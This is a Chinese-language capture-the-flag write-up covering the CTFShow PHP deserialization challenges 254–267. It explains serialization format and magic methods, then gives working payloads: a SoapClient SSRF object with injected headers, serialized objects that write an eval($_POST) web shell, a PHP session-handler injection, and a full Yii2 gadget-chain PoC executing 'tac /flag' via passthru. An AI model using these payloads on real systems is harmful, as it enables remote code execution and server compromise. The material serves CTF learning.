CTFShow反序列化
反序列化
序列化的概念:把一个对象转为字符串
序列化的好处:
1、有利于数据存储
2、方便数据传递
序列化后字符串的格式
Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protect属性序列化后格式:%00*%00成员名
O:对象类名长度:”对象类名”:对象属性个数{属性名类型:属性名长度:”属性名字”;属性类型:属性长度:”属性内容”}
PHP序列化与反序列化方法:
1、__construct 当一个对象被创建时调用
2、__destruct 当一个对象被销毁时调用
3、__toString 当一个对象被当作一个字符串时使用
4、__sleep 在对象被序列化之前运行
5、__wakeup 在对象被反序列化之后调用
__construct
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行,序列化输出前运行,但不影响序列化内容
__unserialize
// 触发条件,7.4版本以上,反序列化时出发,且可以绕过__wakeup
__sleep
// 在对象被序列化之前运行
__wakeup
// 在对象被反序列化之后被调用
__invoke
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法
254
payload:?username=xxxxx&password=xxxxx
按照题中全等于直接构造即可
255-257
构造就行
258
过滤了O:数字
的形式,在冒号后加+即可,URLdecode会自动解析成连接的
259
什么玩意跳过了
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
//index.php
<?php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
灰溜溜的回来看WP
如果调用一个没有定义的方法,那么就会使用类本身的call方法。由于给了个ssrf的代码,那么河里推断这是一个ssrf的原生类。
//PHP中原生类
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
//可以得知构造SoapClient的类对象的时候,需要有两个参数,字符串$wsdl和数组$options
在构造SoapClient类时,传入数组参数为:
array('uri'=>'http://链接','location'=>'http://链接/文件','user_agent'=>'UA头')
该类的__call方法可构造请求使其对指定URL发起POST请求
所以构造该类代码如下
<?php
$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
/*相当于构造出以下请求
User-Agent: ctfshow
x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:13
token=ctfshow
*/
//由于Content-Length已经确定,所以后面该类自行构造的请求头失效
$s=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo serialize($s);
?>
260
就输入那串字符就行
261
知识点:在7.4以上版本反序列化会绕过__wakeup()函数
$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字877,构造时使用877开头的文件即可,最终构造内容如下
<?php
class ctfshowvip{
public $username="877.php";
public $password="<?php eval(\$_POST['kkk']);?>";
//这里记得转译,不然会让你传入kkk参数的
public $code;
}
$s=new ctfshowvip();
echo serialize($s);
?>
//无语Windows Defence把我文件删了😅
262
简单轻松解法:
在message.php中直接构造token=admin的类
困难学习解法:
263
菜狗直接wp
首先看
//index.php
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//明显limti写错了,所以这个代码永远执行的是$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//所以我们就可以控制session中的内容
知识点:session在存储时有两种形式,一种是php,一种是php_serialize
<?php
class user{
public $name="jlan";
public $pass="123456";
}
$s=new user();
//php存储:user|O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}
//php_serialize存储:a:1:{s:4:"user";O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}}
?>
发现诡异的点了吗,在php存储中,|是用来分离变量名和序列化后的内容的,所以只要我们构造出序列化好的内容并且在前面加|就可以让程序进行自动反序列化
继续查看inc/inc.php
//inc/inc.php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
其中包含file_put_contents
函数可进行一句话木马的写入
最终构造如下
class User{
public $username="1.php";
public $password="<?php eval(\$_POST['kkk']);phpinfo();?>";
public $status='1';
}
$s=new User();
echo base64_encode('|'.serialize($s));
首先修改cookie访问主页,然后访问/check.php使得木马文件被写入,最后访问/log-1.php即可
264
265
地址传参
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->token='a';
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);
?>
266
匹配抛出异常后__destrurt不触发,所以使用大小写绕过即可
267
yii框架的反序列化漏洞,利用的类
yii\db\BatchQueryResult
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
这里的$this->_dataReader内容可控,可以调用不存在close方法并且存在__call方法的类,全局搜索__call方法后,发现在
yii\vendor\fzaninotto\faker\src\Faker\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];//这里会返回传入的$formatter的值
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
发现format方法中的call_user_func_array的第一个参数可控,想要利用进而查找调用了call_user_func函数的无参方法。发现了IndexAction.php中的run方法
yii\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
在run方法中checkAccess和id都可控,利用链构造成功
利用链
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
poc
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'tac /flag';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>